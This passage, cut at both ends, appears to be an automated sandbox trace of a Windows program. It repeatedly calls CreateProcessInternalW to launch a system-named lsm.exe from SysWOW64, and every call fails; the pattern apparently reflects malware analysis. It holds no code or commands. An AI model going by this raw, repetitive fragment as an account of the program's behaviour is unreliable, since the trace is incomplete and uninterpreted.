dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.344] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.345] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, 